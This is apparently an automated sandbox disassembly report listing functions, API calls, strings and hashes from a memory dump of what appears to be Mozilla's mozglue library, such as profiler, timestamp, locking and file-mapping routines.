Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 45a3ca69d39c5f93f90708d31dde6918dbf2ad04fd1dbd4990064904bcb0fbbb
Instruction ID: 256bd6afa5caf229f38b6bfb87e0c8d251b55abe561817ac6a8b1b33e2bbbe54
Opcode Fuzzy Hash: 45a3ca69d39c5f93f90708d31dde6918dbf2ad04fd1dbd4990064904bcb0fbbb
Instruction Fuzzy Hash: 24411335B05210DBEB11AF64DC0CBAABB75EB8230CF850219E90997F41DB719D05CBEA

Function 6C52D840 Relevance: 21.2, APIs: 14, Instructions: 206threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C52D85F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C52D86C
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C52D918
GetCurrentThreadId.KERNEL32 ref: 6C52D93C
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C52D948
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C52D970
GetCurrentThreadId.KERNEL32 ref: 6C52D976
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C52D982
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C52D9CF
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C52DA2E
GetCurrentThreadId.KERNEL32 ref: 6C52DA6F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C52DA78
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE ref: 6C52DA91

Part of subcall function 6C4F5C50: GetTickCount64.KERNEL32 ref: 6C4F5D40
Part of subcall function 6C4F5C50: EnterCriticalSection.KERNEL32(6C55F688), ref: 6C4F5D67

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C52DAB7

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Count64CriticalEnterSectionStampTickTimeV01@@Value@mozilla@@Xbad_function_call@std@@
String ID:
API String ID: 1195625958-0
Opcode ID: f4d3d21c9b26f589f5440881eb0881fa4221e0f2151b8c4934cfefdc83a26d75
Instruction ID: 8916d7fd69cbeb8d37a59bf9f06ae8ea45d4a3753c4ad7a5e9a6f24e443f89ba
Opcode Fuzzy Hash: f4d3d21c9b26f589f5440881eb0881fa4221e0f2151b8c4934cfefdc83a26d75
Instruction Fuzzy Hash: 1F71DF35604304DFCB00DF29C888B9ABBF5FF89314F59856EE85A9B341DB34A844CB95

Function 6C52D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C52D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C52D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C52D52A
GetCurrentThreadId.KERNEL32 ref: 6C52D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C52D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C52D55F
free.MOZGLUE(00000000), ref: 6C52D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C52D5D3
GetCurrentThreadId.KERNEL32 ref: 6C52D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C52D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C52D652
GetCurrentThreadId.KERNEL32 ref: 6C52D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C52D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C52D6A2

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: e601c92e9fe3f35f134f354ec6b9a79d4e82a6ed650940fe6fc3e3774757ca72
Instruction ID: 69f038ba679c794bb081c930b888cd97b4f0bc76348e35c3014c58d019c7716f
Opcode Fuzzy Hash: e601c92e9fe3f35f134f354ec6b9a79d4e82a6ed650940fe6fc3e3774757ca72
Instruction Fuzzy Hash: CA519A71A04705DFC704DF35C888A9ABBF4FF89318F418A2EE84A87751EB34A845CB95

Function 6C4D1E90 Relevance: 19.6, APIs: 9, Strings: 4, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C55E784), ref: 6C4D1EC1
LeaveCriticalSection.KERNEL32(6C55E784), ref: 6C4D1EE1
EnterCriticalSection.KERNEL32(6C55E744), ref: 6C4D1F38
LeaveCriticalSection.KERNEL32(6C55E744), ref: 6C4D1F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C4D1F83
LeaveCriticalSection.KERNEL32(6C55E784), ref: 6C4D1FC0
EnterCriticalSection.KERNEL32(6C55E784), ref: 6C4D1FE2
LeaveCriticalSection.KERNEL32(6C55E784), ref: 6C4D1FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C4D2019

Strings

DUl, xrefs: 6C4D1F56
DUl, xrefs: 6C4D1F32
MOZ_CRASH(), xrefs: 6C4D2000
\Ul, xrefs: 6C4D1F3E

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: DUl$DUl$MOZ_CRASH()$\Ul
API String ID: 2055633661-2068375349
Opcode ID: a6914839e1b2a54c82352d206214396283bb29b3b4aaa1781c2957edc58b1ff1
Instruction ID: d366c1acbd2f46e2021185ea03c973e8368adda1a51b709d76b7704d6962875d
Opcode Fuzzy Hash: a6914839e1b2a54c82352d206214396283bb29b3b4aaa1781c2957edc58b1ff1
Instruction Fuzzy Hash: C541D471B043558FDF01EFA8CC98F6A36B5EB4A318F46012AED05D7741DBB5A8048BD6

Function 6C4F5670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C4F56D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C4F56E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C4F56F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C4F5744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C4F57BC
GetTickCount64.KERNEL32 ref: 6C4F58CB
EnterCriticalSection.KERNEL32(6C55F688), ref: 6C4F58F3
__aulldiv.LIBCMT ref: 6C4F5945
LeaveCriticalSection.KERNEL32(6C55F688), ref: 6C4F59B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C55F638,?,?,?,?), ref: 6C4F59E9

Strings

MOZ_APP_RESTART, xrefs: 6C4F56CC

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: 59a8252c102372999f75276bb9520fd4b900e7e7d3d9b84e92812bd4e93fdc58
Instruction ID: 1f81bec8ea9434231b4946615ded6c2377a8b8f80fa253094258920f316f5e88
Opcode Fuzzy Hash: 59a8252c102372999f75276bb9520fd4b900e7e7d3d9b84e92812bd4e93fdc58
Instruction Fuzzy Hash: 6FC17E71A097409FD705CF28C840A6ABBF1BFCA714F568B1DE8D497760D730A986CB86

Function 6C51EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
Part of subcall function 6C519420: __Init_thread_footer.LIBCMT ref: 6C51949F

GetCurrentThreadId.KERNEL32 ref: 6C51EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51EC8C

Part of subcall function 6C5194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5194EE
Part of subcall function 6C5194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C519508

GetCurrentThreadId.KERNEL32 ref: 6C51ECA1
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C51ECC5
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C51ED19
CloseHandle.KERNEL32(?), ref: 6C51ED28
free.MOZGLUE(00000000), ref: 6C51ED2F
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C51EC94

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 8d584ac1419166d3ffa576f6ed290dddd7e0ffcdd65c59bab34e863e45445874
Instruction ID: 44e81e904be07cdde344a140e5e76e265843210b56465f102cc368b85304310c
Opcode Fuzzy Hash: 8d584ac1419166d3ffa576f6ed290dddd7e0ffcdd65c59bab34e863e45445874
Instruction Fuzzy Hash: 3721B175604104EBEB01AF24DC0CAAA7779EF8626CF954215F81897F40DB729C15CBA5

Function 6C518ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C4DEB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4DEB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C51B392,?,?,00000001), ref: 6C5191F4

Part of subcall function 6C50CBE8: GetCurrentProcess.KERNEL32(?,6C4D31A7), ref: 6C50CBF1
Part of subcall function 6C50CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4D31A7), ref: 6C50CBFA

Strings

data, xrefs: 6C5190E8
stack-chart, xrefs: 6C5190B2
marker-chart, xrefs: 6C51905E
timeline-overview, xrefs: 6C51907A
timeline-ipc, xrefs: 6C519096
timeline-fileio, xrefs: 6C5190A4
name, xrefs: 6C518F16
marker-table, xrefs: 6C51906C
timeline-memory, xrefs: 6C519088

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: f13f2b72f3b2805de5c4e6f1c9e768d16557aa677f191db6246ecca76af9e6a5
Instruction ID: 2a8c5b8f0021382e123008cf993b05bec37f93392e3b8ce5098ed5b4819074d7
Opcode Fuzzy Hash: f13f2b72f3b2805de5c4e6f1c9e768d16557aa677f191db6246ecca76af9e6a5
Instruction Fuzzy Hash: 50B1E2B0A042099BEF04DF98CC95BEEBBF5AF85318F504529D401ABF80D731A944CBD1

Function 6C4FC570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C4FC5A3
WideCharToMultiByte.KERNEL32 ref: 6C4FC9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C4FC9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C4FCA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C4FCA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4FCAA5

Strings

0, xrefs: 6C4FD30A
(null), xrefs: 6C4FC596

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: f3ed80561efe086f2c51d09dd8ec525b9469132c6d77e2ac21c38cd79e076588
Instruction ID: 131f59af8c2609ce3024bce7f5502e95c97f38b17f1fce5291f6c55dfb3931be
Opcode Fuzzy Hash: f3ed80561efe086f2c51d09dd8ec525b9469132c6d77e2ac21c38cd79e076588
Instruction Fuzzy Hash: A9A1BD306083428FDB10DF28C944F5ABBF1AFC9759F09892DE9A997751D731E806CB82

Function 6C4FC769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C4FC784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C4FC801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6C4FC83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C4FC891

Strings

NAN, xrefs: 6C4FC7AD
nan, xrefs: 6C4FC7A8
inf, xrefs: 6C4FC78F
INF, xrefs: 6C4FC794

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: b92479472dce99f01f459b4d0fa9c24a4c46bd12c69a98eecf2c9d6c93e0a88e
Instruction ID: bd1afa378524406d481d46e2dc63b2f4ebfe15de956aa8bf15f6c3740a089084
Opcode Fuzzy Hash: b92479472dce99f01f459b4d0fa9c24a4c46bd12c69a98eecf2c9d6c93e0a88e
Instruction Fuzzy Hash: 3C5181705087448BD710EF2CC581E9AFBF0BFCA309F418A2DE9E597651E770D98A8B42

Function 6C4D3480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C4D3492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C4D34A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C4D34EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C4D350E
__Init_thread_footer.LIBCMT ref: 6C4D3522
__aulldiv.LIBCMT ref: 6C4D3552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C4D357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C4D3592

Part of subcall function 6C50AB89: EnterCriticalSection.KERNEL32(6C55E370,?,?,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB94
Part of subcall function 6C50AB89: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50ABD1

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6C4D3508
kernel32.dll, xrefs: 6C4D34EA

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: 799b978edc0cf77181387f26a8050722c0883f49f570a1ad621598f92da98376
Instruction ID: b9cf08172a744ab68f737a684ea1234d6ef50cd573da6dd9939a81aab9a2acc9
Opcode Fuzzy Hash: 799b978edc0cf77181387f26a8050722c0883f49f570a1ad621598f92da98376
Instruction Fuzzy Hash: ED31B371B001059BDF04EFB9CC68FAA77B5FB45319F96011AE501E37A0EB70A904CB64

Function 6C4D4480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C514843,?), ref: 6C4D45F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C514843,?), ref: 6C4D468A
free.MOZGLUE(?,?,?,?,?,?,6C514843,?), ref: 6C4D46C9
free.MOZGLUE(?), ref: 6C4D46EF
free.MOZGLUE(?), ref: 6C4D4712
free.MOZGLUE(?), ref: 6C4D4735
free.MOZGLUE(?), ref: 6C4D4758
free.MOZGLUE(?), ref: 6C4D477B
free.MOZGLUE(?), ref: 6C4D479E

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 504ae6e55fbd2be760361cd779713ed0b1e8e3c3a838583fce5668ca5c485f47
Instruction ID: ba781a238f04e8b5902a1b8fcc0f45dd04184d9909935983b201dc918463cd96
Opcode Fuzzy Hash: 504ae6e55fbd2be760361cd779713ed0b1e8e3c3a838583fce5668ca5c485f47
Instruction Fuzzy Hash: EDB11775A001508FDB18EF3CC8B4F6D77A1AF413A8F1A562DE416DBB82D731E8808B91

Function 6C53AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C53AC52
CreateFileMappingW.KERNEL32 ref: 6C53AC7D
GetSystemInfo.KERNEL32 ref: 6C53AC98
MapViewOfFile.KERNEL32 ref: 6C53ACB0
GetSystemInfo.KERNEL32 ref: 6C53ACCD
MapViewOfFile.KERNEL32 ref: 6C53AD05
UnmapViewOfFile.KERNEL32 ref: 6C53AD1C
CloseHandle.KERNEL32 ref: 6C53AD28
UnmapViewOfFile.KERNEL32 ref: 6C53AD37
CloseHandle.KERNEL32 ref: 6C53AD43
CloseHandle.KERNEL32 ref: 6C53AD67

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 1e58d4e6346bc806b9a37e5746de0b1fefaf0cd5a2d67b7fc2521e1a9f451bb0
Instruction ID: 96a762c3a6b7635d80850f5bfa6f412484ec1282346e86813fa23670db7ce617
Opcode Fuzzy Hash: 1e58d4e6346bc806b9a37e5746de0b1fefaf0cd5a2d67b7fc2521e1a9f451bb0
Instruction Fuzzy Hash: 853144B1A047048FDB00FFB8D94C65EBBF0BF85305F46492DE98997251EB709458CB86

Function 6C4E9620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C4E9675
__Init_thread_footer.LIBCMT ref: 6C4E9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C4E96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C4E9707
__Init_thread_footer.LIBCMT ref: 6C4E971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C4E9773

Part of subcall function 6C50AB89: EnterCriticalSection.KERNEL32(6C55E370,?,?,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB94
Part of subcall function 6C50AB89: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C4E97B7
FreeLibrary.KERNEL32 ref: 6C4E97D0
FreeLibrary.KERNEL32 ref: 6C4E97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C4E9824

Strings

NtMapViewOfSection, xrefs: 6C4E9701
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C4E9670
MapViewOfFileNuma2, xrefs: 6C4E97B1
ntdll.dll, xrefs: 6C4E96E3

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 25565e0f02e5ae32d316c4b5fa2248836ecf079e0956c768f4dcf9f7ecea0fbf
Instruction ID: f25ef42ea2984c29d891bc9868870e02fe7f54732de65fb7ef7fb8c467e77843
Opcode Fuzzy Hash: 25565e0f02e5ae32d316c4b5fa2248836ecf079e0956c768f4dcf9f7ecea0fbf
Instruction Fuzzy Hash: 0B4191B1B10205DFDF00DFA5DC84E9A77B4FB49316F924229ED1697780D731A818CBA5

Function 6C520000 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 127threadCOMMON

Download Yara Rule

APIs

